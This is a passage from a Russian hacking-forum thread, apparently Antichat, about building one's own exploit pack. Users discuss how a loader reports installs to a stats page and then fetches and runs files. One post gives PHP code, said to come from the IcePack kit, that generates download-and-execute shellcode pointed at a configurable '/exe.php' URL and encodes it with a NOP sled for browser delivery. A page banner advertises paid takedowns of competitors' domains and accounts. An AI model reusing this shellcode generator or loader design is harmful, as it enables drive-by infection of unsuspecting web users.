Собираем свою связку эксплойтов.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > ИНФО > Статьи > Авторские статьи
Собираем свою связку эксплойтов.

Страница 2 из 2

Опции темы

Поиск в этой теме

Опции просмотра

#11

05.04.2008, 14:04

MaSter GeN

Познающий

Регистрация: 26.01.2008

Сообщений: 71

С нами: 9626078

Репутация: 141

блин возник такой вопрос каким образом проверять отстук связки то есть загрузился ли фаил ? O_o

#12

05.04.2008, 14:19

~~Piflit~~

Banned

Регистрация: 11.08.2006

Сообщений: 1,522

С нами: 10393869

Репутация: 2032

MaSter GeN
для этого есть лоадеры

#13

05.04.2008, 16:53

MaSter GeN

Познающий

Регистрация: 26.01.2008

Сообщений: 71

С нами: 9626078

Репутация: 141

[QUOTE=Piflit]MaSter GeN
сенкс только я чуток неверно задал вопрос

у меня допустим етсь статистика то есть кол-во трафа и тд и тп
то есть что бы мне в стате отображалось допустим количесво загрузок мне нужно сначало подгрузить лоадер ?и он уже в свое время пошлет запрос на страницу котороя в свою очередь изменит в бд какоенить значение под этим ип на допустим 1 ??

#14

05.04.2008, 17:17

~~Piflit~~

Banned

Регистрация: 11.08.2006

Сообщений: 1,522

С нами: 10393869

Репутация: 2032

[QUOTE=MaSter GeN]

Цитата:

Сообщение от Piflit

MaSter GeN
сенкс только я чуток неверно задал вопрос

типа. лоадер стучит на стату + грузит и запускает нужные файлы.

#15

05.04.2008, 17:20

MaSter GeN

Познающий

Регистрация: 26.01.2008

Сообщений: 71

С нами: 9626078

Репутация: 141

[QUOTE=Piflit]

Цитата:

Сообщение от MaSter GeN

типа. лоадер стучит на стату + грузит и запускает нужные файлы.

угу все догнал сенкс ещё раз )

#16

06.04.2008, 11:31

MaSter GeN

Познающий

Регистрация: 26.01.2008

Сообщений: 71

С нами: 9626078

Репутация: 141

такс возник ещё такой вопросик каким образом сгенерорвать такой шелл код что бы при при изаении допустим url менялся url к лоадеру ? или придеться какжый раз при измении придеться генерроть новый шелл ?
P.S все догнал гогадка была верная

подсмотрел в icepack кому интересно вот нужный кусок кода :

PHP код:


		
			
function DownAndExec($url)

{

    $sc  ="\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03";

    $sc .="\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74";

    $sc .="\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E";

    $sc .="\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03";

    $sc .="\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C";

    $sc .="\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40";

    $sc .="\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C";

    $sc .="\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC";

    $sc .="\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F";

    $sc .="\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB";

    $sc .="\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83";

    $sc .="\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF";

    $sc .="\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF" . $url;

    

    return $sc;

}



function PrintPayLoad($sc)

{

    $result = '';

    

    for($i=0;$i<=strlen($sc);$i+=2)

    {

        $n1 = $sc[$i];

        $n2 = $sc[$i+1];

        $n1 = ord($n1)+ord($n2)*256;

        $n1 = dechex($n1);

        

        while(strlen($n1)<4)

        {

            $n1='0'.$n1;

        }

        $result .= "%u{$n1}";

    }

    return "%u9090%u9090".$result;

}

а вот сам процесс генерирования

PHP код:


		
			
$dl_path  = $config['main_url'] . "/exe.php";

$ShellCode = PrintPayLoad(DownAndExec($dl_path));

Последний раз редактировалось MaSter GeN; 06.04.2008 в 11:42..

Страница 2 из 2

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход